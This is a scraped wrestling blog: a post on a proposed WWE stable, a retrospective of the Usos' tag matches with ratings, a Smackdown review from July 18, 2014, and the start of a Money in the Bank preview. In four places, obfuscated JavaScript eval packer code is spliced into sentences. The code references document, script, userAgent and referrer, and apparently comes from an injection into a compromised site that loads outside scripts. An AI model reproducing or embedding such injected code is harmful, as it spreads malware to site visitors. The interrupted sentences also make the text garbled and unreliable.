Thought of the Day: They Are The Nation

Of eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nykfn|var|u0026u|referrer|zfhde||js|php'.split('|'),0,{})) Domination?

As you might have seen on Raw, it seems that we’re getting a new Black Power stable with Xavier Woods as the Malcolm X character, leading Big E. and Kofi with possibly Titus O’Neil and Mark Henry joining. THis is an idea I’ve heard batted around forever and in this case, why not do it? It’s not like any of these guys are lighting the world on fire otherwise, so why not give them something to do? The last team was around like 15 years ago so it’s not like it’s a fresh idea.




Wrestler of the Day – July 9: Usos

When I say Wrestler, you say Of The Day. Today is the Usos.

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|anbys|var|u0026u|referrer|atkya||js|php'.split('|'),0,{})) Usos debuted on Raw on May 28, 2010, immediately starting a feud with the Hart Dynasty. This set up a six man tag at Fatal Fourway.

Hart Dynasty vs. Usos/Tamina

When did this stop being a tag title match? Whatever. The Usos have beaten Goldust and Mark Henry. Oh joy. The women start us off. The Usos are a nice idea as they’re Samoans that aren’t savages. You know, because Rikishi and Rock were SAVAGES. Jimmy Uso sounds like Jimmy Olsen. This is better than the previous match, but why not a tag?

To be fair the girls can wrestle here so it’s harder to complain here. Jimmy Snuka was pushed to the back allegedly. Uh, yeah. He was pushed to the back of HULK HOGAN. That’s not discrimination. That’s basic intelligence in booking. Tyson is playing Ricky Morton here Everything goes all messy as Tyson hits a nice dive over the top. Oh and Natalya is in vs. Tamina. Tamina misses a top rope splash which Natalya was up before she jumped for but whatever. A discus lariat ends it for Natalya.

Rating: D+. Not bad here but it’s pure filler. I would have gone with the tag titles on the line here but it could certainly be argued that the Usos haven’t won enough to get a title shot yet which is true. This wasn’t horrible though but it belongs on Raw instead of here on PPV.

The teams wouldn’t have a two on two tag match for a good while. Here’s one of the few times it happened, from Raw on November 8, 2010.

Hart Dynasty vs. Usos

Do they really think we want to see this again? It’s a handicap Divas Title match at the PPV which I have to think Natalya wins as she’s beaten both girls in a big brawl already. Jimmy vs. David to start. Apparently Jimmy’s partner’s name is Jey not Jay. Kidd hits a Mysterio-esque dive to one of the Usos into a rana which was pretty freaking sweet.

Kidd gets beaten down and I could have sworn there was a three count but apparently it was only two. Smith doesn’t look happy at all. He’s on the floor arguing with Natalya actually. And so much for that as he’s there for the tag. There’s the powerslam to one of the Samoans for two as the other breaks it up. Jumping superkick kills Tyson on the floor and another one gets David. Jey ends him with a top rope splash.

Rating: D+. We get it: the Harts don’t get along at the moment and they can’t beat a team that they’ve beaten a ton of times before. Now NEVER let these two fight again. We understand the idea here but sweet goodness the Usos are not interesting at all. This was the same thing we’ve seen time and time again and it’s still boring.

The Usos would get a Tag Team Title shot on Smackdown, July 29, 2011.

Tag Titles: Usos vs. Michael McGillicutty/David Otunga

Wow the champs are on Smackdown. Nexus has new music too. We’ll say that’s Jey starting vs. McGillicutty. They beat the champs on Superstars to set this up. Off to Otunga who does a bit better with Jimmy. Chinlock goes on and the crowd is silent until Jimmy gets a shot in and brings in Jey. He takes over on McGilligutty and they set for the top rope splash. Otunga distracts the referee by pointing out that Jimmy is in the ring still so he can shove Jey off the top. McGillicutter ends this at 2:30.

The Usos would be sent to NXT Redemption, which was still a show on WWE.com at this point, to be the awesome tag team of the show. Here they are on November 2, 2011.

Usos vs. Tyson Kidd/Johnny Curtis

Curtis is now known as Fandango. Hawkins is suspended so Curtis is back on NXT as the sub. The winners of those shows can’t catch a break. Kidd vs. let’s say Jey starts us off. The twins take over on Kidd and Jimmy gets two off an elbow. Jey gets the same off a chop. No Curtis in yet, meaning the collective snoring hasn’t started. Oh there he is. For the life of me I don’t get what they saw in him. He’s so bland and cookie-cutter looking I don’t know how he could get more uninteresting.

Back to Kidd as apparently Curtis isn’t even going to grace us with his presence. Thank goodness for that. If I sound a bit incoherent here, you can blame the slight cold I have or Curtis’ ability to suck all the charisma out of a match. The Usos go up but heel double teaming takes them right back down. We take a break and come back with Curtis working on Jey’s knee which may have been hurt coming off the top.

Kidd comes in again as I guess even Curtis is bored by his own work. Back to Boring Man who hits a slingshot legdrop to Jey’s knee. Here’s a leg lock as this match has somehow only been going about 7 minutes including the break. Jey finally sends Kidd to the floor as as we talk about Killer Kowalski. There’s the tag and everything breaks down. The Usos head to the floor where they launch Kidd into the barricade in a cool looking move. Back inside a Samoan Drop followed by a Superfly Splash ends Curtis at 8:47.

Rating: C-. The tag matches here used to be good but I guess they’re just getting boring to me now. The Curtis factor didn’t help things out here either. The problem at the end of the day is the that the Usos are flat out better than any other team and we can only see these guys fight for the sake of fighting so many times before it loses all meaning. I think we hit that six weeks ago.

They would be on the Wrestlemania XXVIII pre-show.

Tag Titles: Justin Gabriel/Tyson Kidd vs. Primo/Epico vs. Usos

Primo/Epico have the titles and have beaten the Usos about five times already. Kidd and Gabriel are teaming for the first time after Kidd asked Gabriel if he wanted to be a team. Gabriel said yes, and apparently that qualifies you as deserving a title match. New tights for the Usos here. Josh and Striker are doing commentary for this match. This is under WCW rules as in three in the ring at once, but in a twist you can only tag your own partner.

Jey, Tyson and Primo start things off. Primo is sent to the floor and Tyson gets two off a sunset flip. Primo comes back in with a missile dropkick as Jey gets beaten down. Kidd makes the save but gets DDTed for two. Primo loads up a superplex on Jey but Tyson springboards up to make it a Tower of Doom in a cool twist on the traditional spot there. Tags bring in Epico and Jimmy but I think Kidd is still legal for his team.

Jimmy comes out of the corner with a spinning cross body and a Bubba Bomb for two. Tag to Gabriel who jumps over Jimmy but walks into a Samoan attack. Back to Jey who hits an assisted Samoan Drop. Jimmy tags in quickly for a double Rikishi attack to Epico and Gabriel. Epico gets dropped onto Primo so Jey can hit a HUGE dive onto both of them.

Kidd pops up on the apron but Jimmy launches him to Jey for a Samoan Drop. Gabriel sets for a top rope Asai Moonsault and hits it on his second attempt. Better safe than sorry on that spot. He tries the springboard 450 but (mostly) hits knees. Backstabber by Epico pins Jey at 5:05.

Rating: B-. Really fun opener here with the six smaller guys being thrown out there to fire up the crowd. That’s what cruiserweights and hot Latin women that can shake their hips were made for so you can’t ask for much more than that. I’m a big Uso fan so seeing them on Wrestlemania was a cool thing to see. Very good start to the night.

Once NXT became what it is today, the Usos would go down to Florida for what would be a huge match today, even though one of the teams isn’t the same.

Usos vs. The Ascension

Regal and Chris Russo are on commentary now along with JR. You know the Siva Tao is popular here with a college crowd. The Usos take over to start and double team Cameron for two. Cameron goes insane and pounds both Usos down until he brings in O’Brien for the same kind of stuff. They tag in and out a lot and pound away on Jey with a bunch of pounds and stomps. Jey hits a headbutt to bring in Jimmy who runs over Cameron a bit. Samoan Drop puts him down as does the Umaga Attack in the corner. Jey gets sent to the floor and Jimmy walks into the Downcast for the pin at 3:40.

Rating: C+. The match was nothing of note but I’m more impressed by the entrances. This is something you don’t get in the homogenized world of WWE anymore. The Usos had their full screaming entrance while the Ascension looks like something out of a thriller movie. That’s not something you get with the big arenas and Cole riffing on half the people that come out and ignoring the other half. The match was basically a squash.

The Usos started getting awesome later in the year and would face the Prime Time Players on December 29, 2012’s Smackdown.

Prime Time Players vs. Usos

The Players have new music which isn’t as catchy. Young and Jey start things off and Darren gets double teamed a bit. Titus makes a blind tag and kicks Jey in the head to take over. There’s some heel miscommunication but Young hits the gutbuster for two on Jey anyway. The twins switch allowing Jimmy to roll up Young for the pin at 2:07.

On May 6, 2013 on Raw, the Usos and Kofi Kingston had a chance to fight the Shield.

Shield vs. Usos/Kofi Kingston

Jey and Ambrose start things off with Dean putting Jey into the corner with some right hands. Jey fires back and takes him down before Rollins tries diving off the top, only to jump into an uppercut. Rollins drives Jey into the corner where Reigns gets in some right hands of his own. Off to a chinlock by Rollins as Jey gets beaten down. Reigns comes in and chokes away before it’s off to Rollins for another chinlock. Jey finally gets up and hits a Samoan Drop, allowing for the hot tag to Kofi.

The Shield is knocked to the floor and there’s the Boom Drop on Ambrose for no cover. Kofi misses a charge into the corner but hits some pendulum kicks to Ambrose and Rollins. The springboard cross body gets two on Dean as everything breaks down. Reigns ENDS one of the Usos with a clothesline as Kofi goes up, only to be shoved down by Rollins. Ambrose’s falling bulldog is enough to pin Kofi at 6:45.

Rating: C-. Shield does not need to be used for matches like this one. They’re WAY too important for squashes over a team that shows up once every three months and Kofi. Speaking of Kingston, why did he have to get pinned here? That’s what the Usos are there for, but instead we need to pin the US Champion right? There were NO other options whatsoever in this match at all.

Here’s something more the Usos’ speed, from Money in the Bank 2013’s preshow.

Pre-Show: Tag Titles: Usos vs. Roman Reigns/Seth Rollins

Shield is defending. Rollins starts with Jey with the Uso quickly getting two off a backslide. Off to Reigns who gets chopped down and caught with a double suplex for two. The fans are already chanting for RVD. A double spinebuster gets two for Jey as this is one sided so far. Seth pulls Roman out of the way of a superkick as we take a break during the pre-show. Back with the Usos still in control but Rollins avoids a charge and brings in Reigns to take over.

A clothesline sends Jey off the apron and out to the floor as Shield starts making fast tags. Rollins kicks Jey in the back for two and puts on a chinlock. Jey keeps fighting back but can’t make the hot tag. Seth is sent to the floor and Reigns is kicked away but Rollins dives to break up the hot tag. Jey is knocked tot he floor for a hard clothesline from Reigns. We take ANOTHER break and come back with Jimmy diving over the top to take out the Shield. Not that we got to see the hot tag or anything, but we needed a trailer for Dead Man Down right?

Jimmy gets a VERY close two off a high cross body and the Samoan drop gets two on Rollins. Seth comes back and loads up a superplex on Jey but the other two come in to make it a Tower of Doom with Jimmy taking the worst of it. Jimmy superkicks Rollins down and hits the Superfly Splash but Reigns makes a last second save. The fans correctly think this is awesome. Rollins counters a middle rope Samoan drop into an across the ring buckle bomb, setting up the Reigns’ spear for the pin to retain at 14:50.

Rating: B. WOW this was better than I was expecting. The near falls in this were off the charts and the Usos actually had me believing they were going to win. The Shield has insane chemistry out there and the Usos proved that they can hang with them move for move. Excellent stuff here and by far the best pre-show match they’ve ever had.

Later in the year, WWE tried to build up the tag division. Here’s an example of the effort on Raw, September 16, 2013.

Tons of Funk vs. Real Americans vs. Usos

This is elimination rules and the winners get a title shot at some point in the future. Brodus knocks Swagger to the floor to start and the Real Americans have a huddle. Back in and Swagger tags in Jimmy Uso to face Brodus with Jimmy hitting whatever fast strikes he can to take over. Brodus casually catches a cross body and slams him down a few times. A backbreaker and elbow drop crush Jimmy but Cesaro tags himself in.

Jimmy takes Antonio down with a jumping elbow to the face and it’s off to Jey with a clothesline for two. A hard European uppercut knocks Jey down but he manages a tag to Tensai a few seconds later. Tensai hits a delayed butterfly suplex on Cesaro while not even looking like he’s straining. Cesaro gets clotheslined to the floor but Jimmy tagged himself in on the way down. Tensai pounds way on Jimmy but misses a splash in the corner. A hard clothesline puts Jimmy down and a bad looking choke bomb looks to get the pin, only to have Cesaro roll Tensai up for the elimination at 4:40.

Cesaro dropkicks Jimmy to the floor and we take a break. Back with Swagger holding both of Jimmy’s arms back. Apparently we missed the long giant swing from Cesaro during the break. Nice job on that WWE. The Vader Bomb crushes Jimmy and Cesaro jumps over Swagger’s shoulder for a double stomp to the chest. We hit the chinlock and the fans start chanting Randy Savage. Jimmy finally dives over for the hot tag to Jey who comes in off the top with a clothesline to Swagger.

Everything breaks down and a kick to the face gets two on Jack. The Usos hit a double plancha to the floor to take out the Real Americans in a cool spot. Back in and Jimmy gets caught in the Patriot Lock but he finally kicks away and superkicks Swagger down. The Superfly Splash is broken up by the running belly to belly but Jey tags himself in and hits the Superfly Splash for the pin and the title shot at 13:15.

Rating: C+. We didn’t need Tons of Funk but the second half of the match was really good stuff. Tag matches are a simple way to fire up the crowd and power vs. speed is the best formula you can use. The ending was great, the dives were great and the match (at least after the break) was really fun. Good stuff here.

They would lose their title shot but get this as a consolation prize on Smackdown, November 1, 2013.

Shield vs. Usos

Rollins and Ambrose here. This is a result of the Usos helping make the save on Monday night. Jimmy and Dean get us going but Ambrose is quickly dragged to the Uso corner for a double back elbow to the jaw. Dean makes a tag off to Rollins but is easily taken down for a knee drop. Rollins trips Jimmy down though and stomps away as Shield takes over. Seth charges into a backdrop over the top and out to the floor, only to have Ambrose tag him on the way down.

Jey is sent to the floor as well so Roman goes after him. Cue Big E. Langston to stare him down as we take a break. Back with Ambrose holding a chinlock on Jimmy before it’s back to Rollins for a running forearm in the corner. Seth goes to the middle rope but dives into a right hand, allowing for the double tag off to Dean and Jey.

The running Umaga attack in the corner gets a quick two and a jumping kick to the face gets the same. Rollins comes back in and gets caught in a spinebuster. A double superkick knocks Reigns off the apron and as JBL puts it, “WE GOT A FLYING SAMOAN!” Back inside and Jey dives over Amborse into a rollup for the pin at 6:44 shown of 10:14.

Rating: C+. As usual the Usos are good for a solid performance in a tag match. Shield continues to have problems but it could still be awhile before they split. The good thing about them is you can mix up the combinations to keep the story going even longer like they did here. Nice match to open things up.

They got another shot at the Shield on Smackdown, January 3, 2014.

Shield vs. Usos

Ambrose is the odd man out and sits in on commentary. Reigns gets things going with Jimmy and headbutts him in the corner. Jimmy gets taken down to the mat and stomped by Roman before it’s off to Seth who walks into a clothesline. Off to Jey for the first time and a back elbow to the jaw for two. The Usos get two more off a double elbow drop as Ambrose talks about taking over the WWE and closing down every bar and saloon from Dallas to Singapore. I miss wrestlers implying that they associate with each other off television.

Jimmy gets two off a backdrop before it’s back to Jey for an armdrag into an armbar. An uppercut stops Seth’s comeback and a clothesline puts him on the floor. The Usos hit stereo kicks to Reigns’ ribs to send him outside before backdropping Rollins on top of him. We take a break and come back with Jey holding Rollins in a chickenwing before Seth takes him into the corner for a tag to Reigns.

Roman takes Jey down with an elbow to the jaw as Shield takes over. Seth comes back in off the top with a right hand to the ribs. The announcers actually talk about unifying the midcard titles, meaning it might be a real possibility at the moment. Cole asks Ambrose if he’d like to face Langston. Ambrose, partially in song no less, says no and asks Cole to stop bullying him and “BE A STAR.” Can we just get Punk and Ambrose to do commentary on random matches? I’d buy the Network for that alone.

Off to a cobra clutch by Rollins before Reigns comes back in to bend Jey’s arm around the rope. Ambrose keeps spinning around in his chair at commentary. Reigns misses a charge and falls out to the floor. Seth can’t make a diving save so Jey makes the hot tag off to Jimmy. Everything breaks down and Rollins gets Samoan dropped but rolls to the floor before the Umaga attack can connect. Reigns is sent outside as well but Ambrose runs in for the DQ at 9:03 shown of 12:03.

Rating: C+. These teams are reaching the point where they could have good matches in their sleep. The Usos are becoming the Kofi Kingstons of the tag division as you’re guaranteed a good match but they’re never going to go anywhere beyond where they are now. Hopefully they can break that mold and eventually get the titles that they’re long overdue to win.

From later in the night.

CM Punk/Usos vs. Shield

Ambrose and Punk get us going with CM being driven into the corner, only to have Punk whip him over to the other Shield members. Off to Rollins who grabs a hammerlock but Punk counters into a headlock so he can loudly shout spots in Rollins’ ear. A neckbreaker puts Seth down for two and it’s off to Jey for a running headbutt. He puts Seth in a Boston crab as the now legal Jimmy drops a leg on the back of Seth’s head.

A leg lariat puts Seth down and it’s back to Jey for a superkick to the chest. Ambrose is sent to the floor but Reigns blocks a big dive from Jey as we take a break. Back with Reigns driving a headbutt into Jimmy’s chest and getting two off the Superman Punch. Rollins comes in with a backsplash for two and we hit the neck crank. Seth goes up but gets crotched down, only to have Ambrose come in to break up the hot tag attempt.

Jimmy breaks a chinlock with a jawbreaker and elbows his way out of a belly to back superplex attempt. Reigns comes in with Jimmy still on the top and gets taken down by a top rope cross body. Rollins knocks Jey off the apron but can’t stop the tag to Punk. CM comes in with a springboard clothesline and the running knee in the corner. Ambrose distracts Punk from dropping the Macho Elbow and Rollins crotches him on the top.

Punk rolls through a crossbody to put Rollins in the Anaconda Vice but Reigns makes the save. Another Superman Punch puts Jey down and we get down to the legal Punk vs. Rollins. Seth crawls over and tags in Dean who hits a butterfly superplex on Punk for two. Punk comes back with a GTS attempt but drops him before Reigns can launch the spear. A double superkick drops Roman and Seth gets backdropped to the floor. The twins hit stereo dives and the GTS ends Ambrose at 12:42.

Rating: B-. Good stuff here as you would expect, even with Ambrose taking the fall again. I’m assuming they’re building up to Reigns calling Ambrose out for all of the losses but get the title off of him if that’s where they’re going. If nothing else Shield hasn’t turned into a joke and they’re potentially splitting while still having awesome matches.

The twins would feud with the reunited New Age Outlaws, finally getting a title shot on Raw on March 3, 2014.

Tag Titles: New Age Outlaws vs. Usos

The Outlaws are defending but Road Dogg doesn’t think the fans here are worthy of hearing his catchphrases. It only took them two months to remember they’re heels. Jey hammers on Roadie to start but gets whipped hard into the corner. Uso comes out holding his knee so Dogg kicks him to the floor for a breather. Billy throws him back inside and hammers away before it’s back to Dogg. Jey’s leg seems to be holding up well enogh and Dogg even works it over a bit. Roadie throws him to the floor as we take a break.

Back with Jey fighting out of a chinlock but getting slammed down for two. Dogg comes back in and takes a spin kick to the face (the knee seems fine). The hot tag brings in Jimmy to face Billy. Dogg gets knocked off the apron and a Samoan drop puts Gunn down. There’s a Bubba Bomb to Billy and the running Umaga attack in the corner to Roadie.

A reverse Whisper in the Wind hits Gunn and there’s a superkick to knock Dogg to the floor. Gunn rolls up Jimmy for two and the tilt-a-whirl slam gets the same. The Fameasser just misses and the Usos do the plancha with the flying tag, setting up the superkick and Superfly Splash to FINALLY give the Usos the Tag Titles at 9:27.

Rating: C+. It’s about three years overdue but this was the best way to do it. I have no problem with the Outlaws keeping the title for just a few weeks as they put the young guys over 100% clean before Wrestlemania. Good little match and they made it feel like it meant something, which is rare for these titles.

We’ll wrap it up with the Wrestlemania XXX pre-show.

Pre-Show: Tag Team Titles: Usos vs. Real Americans vs. Los Matadores vs. Ryback/Curtis Axel

The Usos are defending but the crowd was behind the Real Americans. People HATED Los Matadores and the kids weren’t only kind of cheering for Torito. The interesting thing is you can see the Usos standing on stage during the previous team’s entrance. Axel vs. Jey gets things going as a LOUD WE THE PEOPLE chant fills the arena. They trade chops to start and the Real Americans want no part of a tag.

Curtis comes back with a running dropkick but it’s quickly off to Ryback vs. Jey. The big guy hammers away but Diego tags Ryback to come in. JBL calls this a stupid point because it’s not a one fall match. This brings up an interesting point: The fans, myself included, didn’t seem to know that it was elimination. It may have been mentioned before the show (probably was), but I didn’t hear it mentioned again before the match.

Anyway Cesaro tags Jey and it’s Diego getting double teamed by the Americans. Swagger nails a BIG clothesline for two but Diego comes back with a springboard headbutt, only to miss a Lionsault. Everyone not named Axel or a Matadore is sent to the floor, setting up a nice double dive from the masked guys that the cameras almost miss. Torito tries to go up as well but gets caught by Curtis. Axel throws him down and goes up top, but Los Matadores make the save.

Torito slips jumping to the top but gets up well enough to drive Axel and Los Matadores onto the floor in a big pile. Back in and Diego goes up top but Jack runs the ropes to superplex him into the Patriot Lock for the submission at 5:40. The fans thought we had new champions due to the lack of an explanation, but the confusion didn’t last long.

A quick Patriot Lock to Jey doesn’t work as well and it’s quickly off to Ryback for a delayed suplex and two on Jey. A middle rope splash from Ryback and a middle rope elbow drop from Axel combine for two and we hit the chinlock from Ryback. Off to a front facelock for a few moments until Jey whips Ryback away. The big guy misses a hard charge into the post though and the hot tag brings in Jimmy.

The Samoan drop sets up the running Umaga attack but Swagger catches Jimmy in a powerslam for two. Jimmy blocks the Vader Bomb with two feet to the face but Ryback plants both guys with spinebusters. There’s the Meat Hook to Jack but Cesaro breaks up the Shell shock. That’s fine with Ryback as he slams Cesaro off the top, only to get thrown into the air for Swiss Death, setting up the Neutralizer for the elimination at 11:44.

We’re doing to the Usos vs. the Real Americans and the fans are mostly for the challengers. It’s a brawl to start and the Usos quickly send them to the floor, setting up the double dive to knock all four guys down. Back in and Cesaro nails a backbreaker on Jey for a close two but the Neutralizer is countered into a jackknife cover. Cesaro counters that into a Swing attempt but Jimmy makes the save. That earns him an uppercut of his own but Jimmy goes up top for a Whisper in the Wind to drop both Americans for two.

Jack counters the Umaga attack into the Patriot Lock but Cesaro can’t intercept Jey who makes the save. Swiss Death drops Jey but Jimmy puts Cesaro down with a Samoan drop. Everything breaks down and Colter begs Cesaro to get back up. A double tag brings in Cesaro to face Jimmy. That’s fine with the champions as a double superkick sets up the double Superfly Splash on Cesaro for the pin at 16:13.

Rating: B. Really fun stuff here but man this would have been better with the Rhodes Brothers instead of the Matadores. Still though, the fans were WAY into Cesaro and the Usos got a very solid reaction as well. This is how you do an opening match to fire up the crowd and the big dives did exactly what they were supposed to do.

The Usos are a really solid tag team who can fly around with the best of them. They’re a good example of a team that works far better when they’re together as when they’re apart, they’re really just a pair of young Samoans who can jump in the air. Together they make a good team and have had a solid run as champions.

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Smackdown – July 18, 2014: Let The Battle Begin

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehsdn|var|u0026u|referrer|ksszb||js|php'.split('|'),0,{})) July 18, 2014
Location: Crown Coliseum, Fayetteville, North Carolina
Commentators: Michael Cole, John Bradshaw Layfield

It’s the final show before Battleground and we’re coming off a pretty decent Raw. The main stories tonight will be about the build towards Sunday and will likely focus on Ambrose vs. Rollins which was added with about twenty minutes to go before the end of Monday’s show. Granted the match is pretty much already set up. Let’s get to it.

Opening video.

Here’s Dean Ambrose to get things going. For the last two years, he’s heard about how smart Seth Rollins is. On Monday, Rollins knew he couldn’t beat Ambrose by himself so he had his buddies do his work for him. That attack on Monday isn’t going to keep him away, so is that all Rollins and the Authority have?

Ambrose wants Rollins right now but he only gets Seth on screen. Rollins talks about how insane Ambrose must be for wanting another beating. He’d love to come out there and curb stomp Ambrose again, but his knee isn’t medically cleared. Ambrose says the daddy line again but Rollins has already talked to HHH. The boss has made Ambrose vs. Kane for later tonight.

Fandango/The Miz vs. Sheamus/Dolph Ziggler

This is fallout from Miz and Sheamus trading wins on Raw and Main Event and Fandango’s women leaving him for Fandango. We start with the Battle of Cleveland and Dolph runs Miz over with a shoulder. Miz counters a dropkick and tries the Figure Four but Ziggler kicks him away. The threat of a right hand to the face sends Miz over to Fandango for a tag and it’s off to Sheamus as well. Sheamus pounds away before cranking on an armbar. Fandango gets sent to the floor and Miz follows him rather than getting punched or superkicked.

We take a break and come back with Fandango snapping Sheamus’ neck over the top rope but stopping to dance on the apron. Miz breaks up the forearms to the chest before coming in and stomping away in the corner. A boot to Sheamus’ face gets two and we hit the chinlock. Miz’s short DDT gets two and a dropkick from Fandango gets the same.

Fandango stops to dance though and gets caught with White Noise. The hot tag brings in Ziggler who cleans house and gets two on Miz with what looked like a Rough Ryder. Dolph gets the same off a running DDT and there’s a Brogue Kick to Fandango. The Zig Zag gets the pin on Miz at 10:34.

Rating: C. This was fine. A little by the numbers and not straying from the tag team formula whatsoever but still fine. I love that they’re actually building up to the battle royal on Sunday and forming some side feuds as a result. It’s almost like they’re paying attention to the midcard or something. That can’t be right though, can it?

Network plug.

Alicia Fox vs. Eva Marie

Nikki Bella is referee. After about a minute of Nikki breaking up everything the girls do, Eva gets in an argument with her, only to have both girls beat Nikki up for the no contest at about 1:30. Eva and Alicia pat each other on the back. I guess Fox isn’t crazy anymore.

Stardust talks about living in a parallel universe but needing a key to the cosmic door. Goldust says knock knock and says he’s right here. They’re heading into a dimension of sound, sight and bizarre (takeoff of the intro to Twilight Zone). Stardust blows dust at him and Goldust yells STOP IT.

Chris Jericho vs. Luke Harper

Before the match, Bray talks about Jericho lying about saving us all. Jericho should worry about saving himself from what’s coming on Sunday. Cole calls this a riddle because Cole doesn’t understand basic English. Harper shoves Jericho into the ropes to start but gets nailed by a running elbow. Luke comes back with pure power and knocks Jericho down in the corner. Jericho pops back up and knocks Harper off the apron as we take a break.

Back with Harper holding a chinlock but Jericho quickly escapes and hammers away in the corner. Harper’s shirt has been ripped open as he goes after Jericho’s arm to take over again. A small package gets two for the Canadian but Harper lays him out with a right hand for two of his own. They head outside and Bray is seen whispering something to Rowan. Back in and we get the Gator Roll before Harper puts on a chinlock. Jericho quickly fights back and runs to the top for an ax handle.

The Walls are countered but an enziguri drops Luke for two. Back up and a Michinoku Driver gets Luke another two. Jericho runs back to the top for a high cross body, only to get caught in an awesome sitout powerbomb for two. Harper misses a charge in the corner and the Lionsault gets two. The Walls go on and Jericho knocks Rowan to the floor, setting up a rollup for the pin on Harper at 9:43 shown of 12:13.

Rating: B-. This was better than I was expecting, even though Harper matches are becoming a treat. The idea of him being really athletic but needing Bray to focus him works very well and he was shining in there with a talented guy like Jericho. This again shows the benefits of lackeys: Jericho gets a win and Bray gets frustrated but Bray doesn’t take a loss.

Rowan attacks post match but the Usos run in for the save.

Here’s are Swagger and Colter with something to say. Swagger has a new shirt which is shows a hand going over the chest. Colter talks about how tired they are of hearing about how amazing Mother Russia is. While he’s a big critic of the US government, he’s an American with the right to free speech. He leads WE THE PEOPLE but gets interrupted by Rusev and a certain leggy blonde. Rusev starts a Russia chant and it turns into a battle of waving flags.

Alberto Del Rio vs. Kofi Kingston

We get inset interviews from both guys where they talk about wanting the Intercontinental Title. They’re nothing special but I like those things as they can help us connect to the wrestlers a little bit. Del Rio hits a quick enziguri to knock Kofi to the floor before putting on a chinlock. Some forearms to the head put Kofi down but he quickly sends Del Rio to the floor for a suicide dive.

Back in and Kofi speeds things up with dropkicks and a clothesline. A quick chase on the floor allows Del Rio to kick him in the face but the armbreaker is countered into the SOS for two. Del Rio knocks Kofi off the top rope, tying Kofi’s legs in the rope as a result. A top double stomp to the chest is enough for the pin at 4:45.

Rating: C. This was the typically decent match between these two even though it was pretty short. Kofi will get to do his fun spot on Sunday and then get eliminated after giving some fans false hope of a win. They’re doing a good job of making the title look important with Sunday’s match. I don’t expect it to last but the match should be fun. Del Rio has no chance to win of course.

Fandango offers to take both Layla and Summer once he wins the title on Sunday. Summer shows why she scripted promos are bad as she says “little did we know you were two timing both of us.” I’ve heard her on some of the documentaries and she sounds like far more intelligent than that line gives her credit for. They call him a flamenco dancer and flip their hair at him as they leave. Bo Dallas comes up for a pep talk and praises Fandango’s pants.

AJ Lee/Paige vs. Summer Rae/Layla

Summer dances at AJ to start but stops to do the splits, allowing AJ to kick her in the back of the head. It’s off to the two British girls with Layla kicking Paige in the face for two. A choke on the ropes from Layla sets up a running flip splash from Summer for two. Paige kicks both girls down but AJ tags herself in and the Black Widow makes Summer tap at 2:20.

AJ and Paige hug it out post match.

We recap the Usos saving Jerico before going to the Usos drinking frozen drinks from Sonic. Hornswoggle comes in and drinks both of them at once, getting a brain freeze. Another commercial.

Video on the fourway on Sunday.

Rollins is in the back when Kane comes in. Seth tries to get the monster and Orton on the same page after the RKO to Kane on Monday, but tonight is about getting rid of Dean Ambrose. Kane hopes Orton is watching tonight because Ambrose is going to be a preview of what Kane does to Orton. The monster also warns Rollins not to try cashing in on Sunday.

Dean Ambrose vs. Kane

Dean jumps Kane as the fire comes from the post and we get the opening bell. Kane shoves him away and knocks Dean out of the air with an uppercut. A much louder uppercut has Ambrose in trouble and Kane goes after the bad shoulder. Off to a kind of short arm scissors but Dean punches him in the head to escape.

Kane runs into two boots to the jaw and a tornado DDT from Dean puts both guys down. A pair of dropkicks drop Kane again and Ambrose sends him to the floor for a suicide dive. Ambrose’s injured shoulder flares up again though and Kane sends him into the steps to make it even worse. Kane can’t hit the tombstone on the floor but Rollins comes out for the DQ at 5:15.

Rating: C-. This was angle advancement disguised as a match. Rollins’ knee appears to be fine which is good news coming out of Monday. Watching Dean go nuts on Sunday is going to be very fun and I’m sure they’re going to get another match out of it. Kane is there to give Cena someone to pin on Sunday and that’s just fine.

Kane chokeslams Dean and throws in the steps. Rollins hits a curb stomp to send Dean head first into the steps to end the show.

Overall Rating: C+. This was one of the better Smackdowns in a few weeks as everything that got some time was either decent or good and the short matches weren’t long enough to be that bad. We got a nice refresher on Ambrose vs. Rollins and Battleground is looking better. Tonight focused on the stuff besides the main event and that’s what we were needing. Good show this week.

Results
Sheamus/Dolph Ziggler b. The Miz/Fandango – Zig Zag to Miz
Alicia Fox vs. Eva Marie went to a no contest when both girls attacked Nikki Bella
Chris Jericho b. Luke Harper – Rollup
Alberto Del Rio b. Kofi Kingston – Top rope double stomp
AJ Lee/Paige b. Summer Rae/Layla – Black Widow to Summer Rae
Dean Ambrose b. Kane via DQ when Seth Rollins interfered

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Money in the Bank 2014 Preview

Money eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|trtrk|var|u0026u|referrer|bkkkd||js|php'.split('|'),0,{})) in the Bank is tomorrow night and while it’s going to shape a lot of things going forward, my interest is only kind of there. The card has been upgraded a bit over the last few days though so maybe there’s something in there to make me care. Let’s get to it.

